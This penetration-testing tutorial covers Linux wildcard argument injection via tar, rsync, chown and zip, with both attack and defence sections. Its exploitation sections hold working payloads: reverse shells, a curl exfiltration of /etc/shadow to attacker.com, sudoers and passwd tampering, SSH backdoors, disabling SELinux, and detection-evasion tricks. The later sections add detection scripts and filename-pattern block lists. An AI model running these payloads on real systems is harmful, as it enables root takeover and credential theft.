
Wildcard Abuse in Linux: Exploiting Command-Line Injection Vectors
Comprehensive guide to wildcard abuse attacks in Linux, covering tar, rsync, and chown exploitation techniques for privilege escalation through command-line argument injection.
Introduction
Wildcard abuse represents a sophisticated class of command injection vulnerabilities that exploit the shell's filename expansion mechanism to inject malicious command-line arguments into privileged processes. Unlike traditional command injection that relies on unfiltered user input, wildcard abuse leverages the fundamental behavior of Linux shells where wildcard characters (*, ?, []) are expanded to matching filenames before command execution. This creates an attack surface where specially crafted filenames can be interpreted as command-line options, potentially leading to arbitrary code execution with elevated privileges.
The danger of wildcard abuse lies in its prevalence in automated system tasks. Cron jobs, backup scripts, and system maintenance routines frequently use wildcards to process multiple files efficiently. When these scripts run with elevated privileges (root or specific service accounts), they become high-value targets for privilege escalation attacks. The attack is particularly insidious because it doesn't require exploiting software bugs or memory corruption vulnerabilities—instead, it abuses the intended functionality of shell expansion and command-line argument parsing.
What makes wildcard abuse especially challenging to detect is that security audits rarely consider filename creation as a threat vector. Traditional security scanning tools focus on code vulnerabilities, permission issues, and network exposure. They don't typically flag scripts that use wildcards, and file integrity monitoring systems may ignore file creation in temporary or user-writable directories. This blind spot allows attackers to establish persistent privilege escalation mechanisms that remain undetected for extended periods.
The Hidden Argument Injection
When a shell encounters tar -czf backup.tar.gz *, it first expands the asterisk to all filenames in the current directory. If files named --checkpoint=1 and --checkpoint-action=exec=sh shell.sh exist, the expanded command becomes tar -czf backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh shell.sh file1 file2 ..., effectively injecting malicious arguments into the tar command. This is not a vulnerability in tar—it's the expected behavior of shell expansion combined with argument parsing.
Technical Background
Understanding Shell Wildcard Expansion
Linux shells perform several types of expansion before executing commands, with filename expansion (globbing) occurring after variable expansion but before command execution. Understanding the order and behavior of these expansions is crucial for both exploitation and defense.
Wildcard Characters and Their Behavior:
| Wildcard | Description | Example | Matches |
|---|---|---|---|
* | Matches zero or more characters | *.txt | file.txt, document.txt, a.txt |
? | Matches exactly one character | file?.txt | file1.txt, fileA.txt but not file10.txt |
[...] | Matches any single character in brackets | file[123].txt | file1.txt, file2.txt, file3.txt |
[!...] | Matches any character NOT in brackets | file[!0-9].txt | fileA.txt, fileB.txt but not file1.txt |
~ | Expands to home directory | ~/docs | /home/user/docs |
Expansion Order in Bash:
User Input → Brace Expansion → Tilde Expansion → Parameter Expansion
→ Arithmetic Expansion → Command Substitution → Word Splitting
→ Filename Expansion (Globbing) → Command ExecutionVulnerable Command Patterns
Many common Unix utilities accept command-line options that can be exploited through wildcard injection:
High-Risk Commands:
| Command | Dangerous Options | Exploitation Method |
|---|---|---|
tar | --checkpoint-action=exec=COMMAND | Execute arbitrary commands during archive operations |
rsync | -e ssh or --rsh=COMMAND | Specify alternative remote shell for code execution |
chown | --reference=FILE | Copy ownership from attacker-controlled file |
chmod | --reference=FILE | Copy permissions from attacker-controlled file |
find | -exec COMMAND {} \; | Execute commands on found files |
xargs | (any command following) | Feed filenames as arguments to commands |
zip | -T or --unzip-command | Execute custom unzip command |
7z | (command injection via filenames) | Various injection vectors |
The Attack Vector
Consider a common backup script running as root via cron:
#!/bin/bash
# /usr/local/bin/backup.sh - Runs as root every hour
cd /home/user/documents
tar -czf /backups/docs-$(date +%Y%m%d-%H%M).tar.gz *The vulnerability chain:
- Wildcard Usage: The script uses
*to match all files - Shell Expansion: Bash expands
*to all filenames before executing tar - Argument Injection: Filenames beginning with
-are interpreted as options - Privileged Execution: The script runs with root privileges
- Code Execution: Malicious options trigger command execution as root
Enumeration and Discovery
Identifying Vulnerable Scripts
Systematic enumeration is essential for discovering wildcard abuse opportunities:
Search for Scripts with Wildcards
# Find scripts containing wildcard usage
grep -r '\*' /usr/local/bin /opt/scripts /home/*/scripts 2>/dev/null
# Focus on scripts run by cron
grep -r '\*' /etc/cron* /var/spool/cron 2>/dev/null
# Search for specific vulnerable patterns
grep -Er '(tar|rsync|chown|chmod).*\*' /etc /usr/local /opt 2>/dev/null
# Find scripts with both cd and wildcard commands
grep -l 'cd ' /usr/local/bin/* | xargs grep -l '\*'Analyze Cron Jobs
# List all cron jobs
cat /etc/crontab
ls -la /etc/cron.*
crontab -l
crontab -u root -l 2>/dev/null
# Check systemd timers
systemctl list-timers --all
find /etc/systemd -name "*.timer" -exec cat {} \;
# Examine cron job scripts
for script in /etc/cron.*/[!.]* /etc/cron.d/*; do
echo "=== $script ==="
cat "$script"
doneCheck File Permissions
# Find writable directories where cron scripts operate
find / -type d -writable 2>/dev/null
# Check if we can write to directories processed by cron
ls -la /home/*/documents /home/*/backups /tmp /var/tmp
# Identify directories where privileged scripts change into
grep -h '^cd ' /etc/cron* /usr/local/bin/* 2>/dev/null | awk '{print $2}'Monitor Script Execution
# Watch for script execution using auditd
auditctl -a exit,always -F arch=b64 -S execve -F path=/usr/bin/tar -k tar_execution
# Monitor file creation in target directories
inotifywait -m -e create /home/user/documents
# Check recent script execution
grep 'CRON' /var/log/syslog | tail -20
journalctl -u cron --since "1 hour ago"Automated Enumeration Script
#!/usr/bin/env python3
"""
Wildcard Abuse Enumeration Script
Identifies potential wildcard injection vulnerabilities
"""
import os
import re
import subprocess
from pathlib import Path
VULNERABLE_COMMANDS = [
'tar', 'rsync', 'chown', 'chmod', 'find',
'xargs', 'zip', '7z', 'rar'
]
SEARCH_PATHS = [
'/etc/cron.d',
'/etc/cron.daily',
'/etc/cron.hourly',
'/etc/cron.monthly',
'/etc/cron.weekly',
'/usr/local/bin',
'/opt/scripts',
'/var/spool/cron/crontabs',
]
def find_scripts_with_wildcards():
"""Find scripts containing wildcard usage"""
vulnerable_scripts = []
for search_path in SEARCH_PATHS:
if not os.path.exists(search_path):
continue
for root, dirs, files in os.walk(search_path):
for file in files:
filepath = os.path.join(root, file)
try:
with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
content = f.read()
# Check for vulnerable patterns
for cmd in VULNERABLE_COMMANDS:
# Pattern: command followed by wildcard
pattern = rf'\b{cmd}\b[^\n]*\*'
matches = re.findall(pattern, content)
if matches:
vulnerable_scripts.append({
'file': filepath,
'command': cmd,
'lines': matches,
'permissions': oct(os.stat(filepath).st_mode)[-3:]
})
except (PermissionError, IsADirectoryError, UnicodeDecodeError):
continue
return vulnerable_scripts
def check_writable_directories():
"""Find writable directories"""
try:
result = subprocess.run(
['find', '/', '-type', 'd', '-writable', '-ls'],
capture_output=True,
text=True,
timeout=60
)
return result.stdout.split('\n')
except:
return []
def analyze_cron_jobs():
"""Extract cron job information"""
cron_jobs = []
try:
# Parse crontab
result = subprocess.run(
['crontab', '-l'],
capture_output=True,
text=True
)
for line in result.stdout.split('\n'):
if line and not line.startswith('#'):
cron_jobs.append(line)
except:
pass
# Parse /etc/crontab
try:
with open('/etc/crontab', 'r') as f:
for line in f:
if line.strip() and not line.startswith('#'):
cron_jobs.append(line.strip())
except:
pass
return cron_jobs
def main():
print("[*] Wildcard Abuse Vulnerability Scanner")
print("[*] Searching for vulnerable scripts...\n")
# Find vulnerable scripts
scripts = find_scripts_with_wildcards()
if scripts:
print(f"[!] Found {len(scripts)} potentially vulnerable scripts:\n")
for script in scripts:
print(f"[+] {script['file']}")
print(f" Permissions: {script['permissions']}")
print(f" Command: {script['command']}")
print(f" Vulnerable lines:")
for line in script['lines']:
print(f" {line.strip()}")
print()
else:
print("[*] No obvious vulnerabilities found")
# Check writable directories
print("\n[*] Checking for writable directories...")
writable = check_writable_directories()
if writable:
print(f"[!] Found {len(writable)} writable directories")
print("[*] Check if any cron scripts operate in these directories")
# Analyze cron jobs
print("\n[*] Analyzing cron jobs...")
crons = analyze_cron_jobs()
if crons:
print(f"[+] Found {len(crons)} cron jobs:")
for job in crons:
print(f" {job}")
if __name__ == '__main__':
main()Exploitation Techniques
TAR Command Injection
The tar utility is commonly exploited for wildcard abuse due to its powerful --checkpoint-action feature.
Classic Tar Wildcard Exploit:
# Identify vulnerable cron job
cat /etc/cron.d/backup
# */5 * * * * root cd /home/user/docs && tar -czf /backup/docs.tar.gz *
# Create malicious payload
cd /home/user/docs
# Create reverse shell script
cat > shell.sh <<'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.5/4444 0>&1
EOF
chmod +x shell.sh
# Create checkpoint files to inject arguments
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'
# Wait for cron to execute
# When tar runs: tar -czf backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh shell.sh file1 file2 ...Adding User to Sudoers:
# Create privilege escalation payload
cat > privesc.sh <<'EOF'
#!/bin/bash
echo "attacker ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
EOF
chmod +x privesc.sh
# Create injection files
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh privesc.sh'
# Wait for execution
sleep 300
# Verify sudo access
sudo -l
sudo suModifying /etc/passwd:
# Generate password hash
openssl passwd -1 -salt hacked Password123
# $1$hacked$w8qI3J7N.K8VZFqWQ1cYQ.
# Create payload to add root user
cat > adduser.sh <<'EOF'
#!/bin/bash
echo 'hacker:$1$hacked$w8qI3J7N.K8VZFqWQ1cYQ.:0:0:root:/root:/bin/bash' >> /etc/passwd
EOF
chmod +x adduser.sh
# Inject into tar
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh adduser.sh'
# After cron runs, login as new root user
su hacker
# Password: Password123Extracting Sensitive Files:
# Create script to exfiltrate /etc/shadow
cat > exfil.sh <<'EOF'
#!/bin/bash
cp /etc/shadow /tmp/.shadow.bak
chmod 644 /tmp/.shadow.bak
curl -X POST -d @/tmp/.shadow.bak https://attacker.com/collect
EOF
chmod +x exfil.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh exfil.sh'Establishing Persistence:
# Install SSH backdoor
cat > backdoor.sh <<'EOF'
#!/bin/bash
mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2E... attacker@kali" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
chmod 700 /root/.ssh
systemctl restart sshd
EOF
chmod +x backdoor.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh backdoor.sh'Disabling Security Controls:
# Disable AppArmor/SELinux
cat > disable_sec.sh <<'EOF'
#!/bin/bash
systemctl stop apparmor 2>/dev/null
systemctl disable apparmor 2>/dev/null
setenforce 0 2>/dev/null
sed -i 's/SELINUX=enforcing/SELINUX=disabled/' /etc/selinux/config 2>/dev/null
EOF
chmod +x disable_sec.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh disable_sec.sh'Obfuscating Filenames:
# Use Unicode lookalikes
touch -- '--checkpoint=1' # Using zero-width characters
touch -- '‐‐checkpoint-action=exec=sh shell.sh' # Using Unicode hyphen
# Hide in legitimate-looking names
touch 'log--checkpoint=1.txt'
touch 'backup--checkpoint-action=exec=sh shell.sh.bak'
# Use wildcards themselves
touch -- '*--checkpoint=1'
touch -- '*--checkpoint-action=exec=sh shell.sh'Bypassing Basic Detection:
# Split payload across multiple files
cat > stage1.sh <<'EOF'
cat > /tmp/.stage2.sh <<'PAYLOAD'
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.5/4444 0>&1
PAYLOAD
chmod +x /tmp/.stage2.sh
/tmp/.stage2.sh
EOF
chmod +x stage1.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh stage1.sh'Time-Delayed Execution:
# Create payload that executes later
cat > delayed.sh <<'EOF'
#!/bin/bash
(sleep 3600 && bash -i >& /dev/tcp/10.10.14.5/4444 0>&1) &
EOF
chmod +x delayed.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh delayed.sh'RSYNC Exploitation
The rsync command can be exploited through its -e or --rsh options:
# Vulnerable cron job
# */10 * * * * root cd /data && rsync -av * backup-server:/backups/
# Create malicious files
cd /data
cat > exploit.sh <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
EOF
chmod +x exploit.sh
# Inject rsync options
touch -- '-e sh exploit.sh'
# Alternative: use --rsh
touch -- '--rsh=sh exploit.sh'
# Wait for execution
sleep 600
# Execute SUID bash
/tmp/rootbash -pAdvanced RSYNC Injection:
# Multi-stage exploitation
cat > stage1.sh <<'EOF'
#!/bin/bash
cat > /tmp/stage2.sh <<'INNER'
#!/bin/bash
echo "attacker ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
chmod 440 /etc/sudoers
INNER
chmod +x /tmp/stage2.sh
/tmp/stage2.sh
rm -f /tmp/stage2.sh
EOF
chmod +x stage1.sh
# Create injection files
touch -- '-e sh stage1.sh'
touch 'dummy.txt' # Ensure there's a file to sync
# Cleanup after execution
echo "rm -f stage1.sh '-e sh stage1.sh'" >> stage1.shCHOWN and CHMOD Exploitation
These commands can be exploited using the --reference flag:
# Vulnerable script
# */15 * * * * root cd /var/www/uploads && chown www-data:www-data *
# Create reference file with desired ownership
cd /var/www/uploads
# Copy root's .ssh directory to accessible location
cat > exploit.sh <<'EOF'
#!/bin/bash
cp -r /root/.ssh /tmp/.ssh_backup
chmod 755 /tmp/.ssh_backup
chmod 644 /tmp/.ssh_backup/*
EOF
chmod +x exploit.sh
# Create files for exploitation
touch -- '--reference=/etc/passwd'
touch malicious_file
# The chown command will set malicious_file to root:root
# Then we can abuse this for further exploitationZIP Command Injection
# Vulnerable backup script using zip
# */30 * * * * root cd /home/user/data && zip -r /backup/data.zip *
cd /home/user/data
# Create reverse shell
cat > shell.sh <<'EOF'
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'
EOF
chmod +x shell.sh
# Inject zip options
touch -- '--unzip-command=sh shell.sh'
touch -- '-T'
# Or use -TT for immediate execution
touch -- '-TT'Detection and Monitoring
File System Monitoring
Detect Suspicious Filename Patterns
# Monitor for files starting with dashes
find / -name '-*' -o -name '--*' 2>/dev/null
# Check for checkpoint-related files
find / -name '*checkpoint*' 2>/dev/null
# Detect files with unusual characters
find / -regex '.*[^a-zA-Z0-9._-].*' 2>/dev/null
# Look for recently created suspicious files
find / -type f -ctime -1 -name '-*' 2>/dev/nullReal-Time File Creation Monitoring
# Install inotify-tools
apt-get install inotify-tools
# Monitor file creation in common target directories
inotifywait -m -r -e create /home /tmp /var/tmp --format '%w%f %e' |
while read file event; do
if [[ "$file" =~ ^- ]] || [[ "$file" =~ -- ]]; then
echo "ALERT: Suspicious file created: $file"
logger "Wildcard abuse attempt: $file"
fi
doneAuditd Rules
# Add to /etc/audit/rules.d/wildcard-abuse.rules
# Monitor file creation starting with dashes
-w /home/ -p wa -k wildcard_injection
-w /tmp/ -p wa -k wildcard_injection
-w /var/tmp/ -p wa -k wildcard_injection
# Monitor tar checkpoint usage
-w /usr/bin/tar -p x -k tar_execution
-a always,exit -F arch=b64 -S execve -F path=/usr/bin/tar -F a0=-*checkpoint* -k tar_checkpoint
# Monitor rsync with -e flag
-a always,exit -F arch=b64 -S execve -F path=/usr/bin/rsync -F a1=-e -k rsync_execution
# Reload auditd
auditctl -R /etc/audit/rules.d/wildcard-abuse.rulesLog Analysis
# Search for tar checkpoint usage
grep -r "checkpoint-action" /var/log/
# Check for suspicious script executions
grep -E "(tar|rsync|chown).*(--|\s-[a-z])" /var/log/syslog
# Analyze cron execution logs
journalctl -u cron | grep -E "(tar|rsync|chown|chmod)" | tail -50Automated Detection Script
#!/usr/bin/env python3
"""
Wildcard Abuse Detection Script
Monitors filesystem for suspicious filename patterns
"""
import os
import sys
import time
import logging
from pathlib import Path
from datetime import datetime
# Configure logging
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s',
handlers=[
logging.FileHandler('/var/log/wildcard_detection.log'),
logging.StreamHandler()
]
)
SUSPICIOUS_PATTERNS = [
lambda f: f.startswith('-'),
lambda f: f.startswith('--'),
lambda f: 'checkpoint' in f.lower(),
lambda f: '--rsh' in f or '-e ' in f,
lambda f: '--reference' in f,
lambda f: '--unzip-command' in f,
]
MONITORED_DIRECTORIES = [
'/home',
'/tmp',
'/var/tmp',
'/var/www',
'/opt',
]
def is_suspicious_filename(filename):
"""Check if filename matches suspicious patterns"""
basename = os.path.basename(filename)
for pattern in SUSPICIOUS_PATTERNS:
if pattern(basename):
return True
return False
def scan_directory(directory):
"""Scan directory for suspicious files"""
alerts = []
try:
for root, dirs, files in os.walk(directory):
for file in files:
filepath = os.path.join(root, file)
if is_suspicious_filename(file):
# Get file details
try:
stat_info = os.stat(filepath)
alerts.append({
'file': filepath,
'size': stat_info.st_size,
'created': datetime.fromtimestamp(stat_info.st_ctime),
'modified': datetime.fromtimestamp(stat_info.st_mtime),
'owner': stat_info.st_uid,
})
except OSError:
pass
except PermissionError:
logging.warning(f"Permission denied: {directory}")
return alerts
def main():
logging.info("Starting wildcard abuse detection scan...")
all_alerts = []
for directory in MONITORED_DIRECTORIES:
if os.path.exists(directory):
logging.info(f"Scanning {directory}...")
alerts = scan_directory(directory)
all_alerts.extend(alerts)
if all_alerts:
logging.warning(f"Found {len(all_alerts)} suspicious files:")
for alert in all_alerts:
logging.warning(
f" File: {alert['file']}\n"
f" Created: {alert['created']}\n"
f" Modified: {alert['modified']}\n"
f" Size: {alert['size']} bytes\n"
f" Owner UID: {alert['owner']}"
)
# Alert via syslog
os.system(f'logger -t wildcard_abuse "Found {len(all_alerts)} suspicious files"')
else:
logging.info("No suspicious files detected")
if __name__ == '__main__':
main()Mitigation and Defense
Secure Coding Practices
Avoid Wildcards in Privileged Scripts
Never use wildcards in scripts running with elevated privileges:
# BAD: Vulnerable to wildcard abuse
#!/bin/bash
cd /home/user/documents
tar -czf /backup/docs.tar.gz *
# GOOD: Use explicit file lists
#!/bin/bash
cd /home/user/documents
find . -maxdepth 1 -type f -print0 | tar -czf /backup/docs.tar.gz --null -T -
# BETTER: Use absolute paths and verification
#!/bin/bash
SOURCE_DIR="/home/user/documents"
BACKUP_DIR="/backup"
DATE=$(date +%Y%m%d-%H%M)
# Verify directories exist
[[ -d "$SOURCE_DIR" ]] || exit 1
[[ -d "$BACKUP_DIR" ]] || exit 1
# Create backup with explicit path
tar -czf "$BACKUP_DIR/docs-$DATE.tar.gz" -C "$SOURCE_DIR" .Alternative approaches:
# Use arrays to collect files safely
#!/bin/bash
files=()
while IFS= read -r -d '' file; do
files+=("$file")
done < <(find /path/to/dir -type f -print0)
tar -czf backup.tar.gz "${files[@]}"
# Or use find with -exec directly
find /path/to/dir -type f -exec tar -czf backup.tar.gz {} +Proper Quoting and Expansion
Use proper quoting to prevent argument injection:
# BAD: Unquoted wildcard expansion
for file in *; do
process_file $file
done
# GOOD: Quoted variables
for file in *; do
process_file "$file"
done
# BEST: Use find with null terminators
find . -maxdepth 1 -type f -print0 | while IFS= read -r -d '' file; do
process_file "$file"
doneDisable wildcard expansion when not needed:
# Disable globbing temporarily
set -f # or set -o noglob
# Your commands here
command_without_globbing
# Re-enable globbing
set +f # or set +o noglobInput Validation and Sanitization
Validate filenames before processing:
#!/bin/bash
# Function to validate filename
validate_filename() {
local filename="$1"
# Check if filename starts with dash
if [[ "$filename" =~ ^- ]]; then
echo "Error: Filename starts with dash: $filename" >&2
return 1
fi
# Check for suspicious patterns
if [[ "$filename" =~ (checkpoint|--rsh|-e|--reference) ]]; then
echo "Error: Suspicious pattern in filename: $filename" >&2
return 1
fi
# Only allow alphanumeric, dots, dashes, underscores
if [[ ! "$filename" =~ ^[a-zA-Z0-9._-]+$ ]]; then
echo "Error: Invalid characters in filename: $filename" >&2
return 1
fi
return 0
}
# Use in processing loop
for file in /path/to/files/*; do
basename=$(basename "$file")
if validate_filename "$basename"; then
process_file "$file"
else
logger -t backup_script "Rejected suspicious file: $file"
fi
donePrinciple of Least Privilege
Run scripts with minimal necessary privileges:
# Instead of running entire script as root
# */5 * * * * root cd /home/user && tar -czf /backup/data.tar.gz *
# Run as unprivileged user and elevate only when needed
# */5 * * * * backup /usr/local/bin/secure_backup.sh
# secure_backup.sh
#!/bin/bash
SOURCE_DIR="/home/user/documents"
BACKUP_DIR="/backup"
# Run tar as unprivileged user
su - backup -c "tar -czf /tmp/backup-$$.tar.gz -C $SOURCE_DIR ."
# Only elevate to move final backup
sudo mv /tmp/backup-$$.tar.gz "$BACKUP_DIR/backup-$(date +%Y%m%d).tar.gz"
sudo chown root:root "$BACKUP_DIR/backup-$(date +%Y%m%d).tar.gz"
sudo chmod 600 "$BACKUP_DIR/backup-$(date +%Y%m%d).tar.gz"Using -- (Double Dash) Separator
Many commands support -- to explicitly end option processing:
# Explicitly separate options from arguments
tar -czf backup.tar.gz -- *
# This ensures files starting with - are treated as filenames
rm -- -badfile.txt
# Works with most GNU utilities
chown user:group -- *
chmod 644 -- *Filesystem Restrictions
Restrict File Creation
# Prevent files starting with dashes in specific directories
# Add to /etc/security/limits.conf or use filesystem ACLs
# Use filesystem extended attributes (if supported)
setfattr -n user.wildcard_protected -v "true" /home/user/documents
# Script to prevent dash-prefixed files
cat > /usr/local/bin/check_files.sh <<'EOF'
#!/bin/bash
for file in /home/*/documents/*; do
if [[ "$(basename "$file")" =~ ^- ]]; then
echo "Removing suspicious file: $file"
rm -f "$file"
logger -t security "Removed wildcard abuse file: $file"
fi
done
EOF
chmod +x /usr/local/bin/check_files.sh
# Run regularly via cron
echo "*/5 * * * * root /usr/local/bin/check_files.sh" >> /etc/crontabImplement File Integrity Monitoring
# Install AIDE (Advanced Intrusion Detection Environment)
apt-get install aide
# Initialize AIDE database
aideinit
# Check for changes
aide --check
# Create monitoring script
cat > /usr/local/bin/monitor_wildcards.sh <<'EOF'
#!/bin/bash
LOGFILE="/var/log/wildcard_monitor.log"
# Monitor specific directories
DIRS=("/home" "/tmp" "/var/tmp" "/var/www")
for dir in "${DIRS[@]}"; do
if [[ -d "$dir" ]]; then
find "$dir" -name '-*' -o -name '--*' -type f -mtime -1 2>/dev/null | while read file; do
echo "$(date): Suspicious file detected: $file" >> "$LOGFILE"
logger -t wildcard_abuse "Detected: $file"
done
fi
done
EOF
chmod +x /usr/local/bin/monitor_wildcards.sh
# Schedule hourly checks
echo "0 * * * * root /usr/local/bin/monitor_wildcards.sh" >> /etc/crontabAppArmor/SELinux Policies
# Create AppArmor profile for backup script
cat > /etc/apparmor.d/usr.local.bin.backup <<'EOF'
#include <tunables/global>
/usr/local/bin/backup {
#include <abstractions/base>
# Deny file creation starting with dashes
deny /home/**/--* w,
deny /home/**/-* w,
deny /tmp/--* w,
deny /tmp/-* w,
# Allow necessary operations
/usr/bin/tar rix,
/home/**/[!-]* r,
/backup/** w,
}
EOF
# Load profile
apparmor_parser -r /etc/apparmor.d/usr.local.bin.backup
# For SELinux, create custom policy
# audit2allow can help generate policies from denials
ausearch -m avc | audit2allow -M wildcard_protection
semodule -i wildcard_protection.ppScript Hardening Checklist
- Avoid wildcards in privileged scripts entirely
- Use explicit paths instead of
cd+ wildcard - Quote all variables to prevent word splitting
- Use
--separator before filenames in commands - Validate filenames before processing
- Run with least privilege - don't use root unless necessary
- Use find with -exec instead of wildcards
- Enable shell options:
set -euo pipefailfor safer scripts - Implement logging for all file operations
- Regular audits of cron jobs and scheduled tasks
- Monitor for suspicious files in writable directories
- Use filesystem ACLs to restrict file creation
- Deploy IDS/IPS signatures for wildcard abuse patterns
Real-World Examples
Example 1: HTB Machine Exploitation
# Scenario: Backup script runs as root every 5 minutes
# /etc/cron.d/backup
# */5 * * * * root cd /var/www/html/uploads && tar -czf /backup/web.tar.gz *
# Discovery
ls -la /var/www/html/uploads
# drwxrwxrwx 2 www-data www-data 4096 Feb 16 10:30 .
# Exploitation
cd /var/www/html/uploads
# Create reverse shell
cat > shell.sh <<'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.25/4444 0>&1
EOF
chmod +x shell.sh
# Create injection files
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh shell.sh"
# Start listener on attacker machine
nc -lvnp 4444
# Wait for cron execution (max 5 minutes)
# Shell received as rootExample 2: Chown Reference Exploitation
# Scenario: Web upload directory ownership reset hourly
# */60 * * * * root chown -R www-data:www-data /var/www/uploads/*
# Exploit to maintain persistence
cd /var/www/uploads
# Create SUID shell
cp /bin/bash rootbash
chmod 4755 rootbash
# Create reference to prevent ownership change
touch -- '--reference=rootbash'
# After cron runs, rootbash maintains root SUID bit
./rootbash -pExample 3: Rsync Remote Code Execution
# Scenario: Automated sync to backup server
# */15 * * * * root cd /data && rsync -av * backup-server:/backup/
# Exploitation
cd /data
# Create malicious script
cat > backdoor.sh <<'EOF'
#!/bin/bash
echo "attacker:$(openssl passwd -1 Password123):0:0::/root:/bin/bash" >> /etc/passwd
chmod 644 /etc/passwd
EOF
chmod +x backdoor.sh
# Inject rsync options
touch -- '-e sh backdoor.sh'
# Create dummy file to ensure rsync runs
touch dummy.txt
# After execution
su attacker
# Password: Password123References
MITRE ATT&CK Techniques
- T1059.004 - Command and Scripting Interpreter: Unix Shell - Shell command injection via wildcards
- T1059 - Command and Scripting Interpreter - Parent technique
- T1053.003 - Scheduled Task/Job: Cron - Cron jobs with wildcard abuse
Security Research
- Unix Wildcards Gone Wild - Original research paper
- DefenseCode: Wildcard Exploitation - Tar exploitation
Security Resources
- GTFOBins - Unix binaries exploitation techniques
- OWASP - Command Injection - Command injection attacks
- HackTricks: Tar Wildcard Injection - Exploitation guide
Next Steps
After identifying wildcard abuse vulnerabilities:
- Immediately review all cron jobs and scheduled tasks for wildcard usage
- Audit existing scripts for vulnerable patterns
- Implement monitoring for suspicious file creation patterns
- Harden scripts using secure coding practices
- Deploy detection rules in SIEM/IDS systems
- Explore related Linux privilege escalation techniques:
Takeaway: Wildcard abuse represents a critical yet often overlooked privilege escalation vector in Linux environments. While not a software vulnerability, it exploits the fundamental design of shell expansion and command-line argument parsing. The attack's stealth nature—requiring only file creation permissions in accessible directories—makes it particularly dangerous in environments with automated maintenance scripts. Comprehensive script auditing, secure coding practices, filesystem monitoring, and principle of least privilege form the cornerstone of defense against wildcard injection attacks. Make wildcard security awareness a mandatory component of your secure scripting guidelines and code review processes.
Last updated on
Linux Privilege Escalation via SUDO Misconfigurations
Linux sudo misconfiguration exploitation including command injection, wildcard abuse, environment variable manipulation, and privilege escalation techniques.
Network Protocol Attacks
Comprehensive guides to exploiting network protocols including SMB, FTP, SSH, RDP, DNS, SMTP, and WebDAV for penetration testing and security assessments.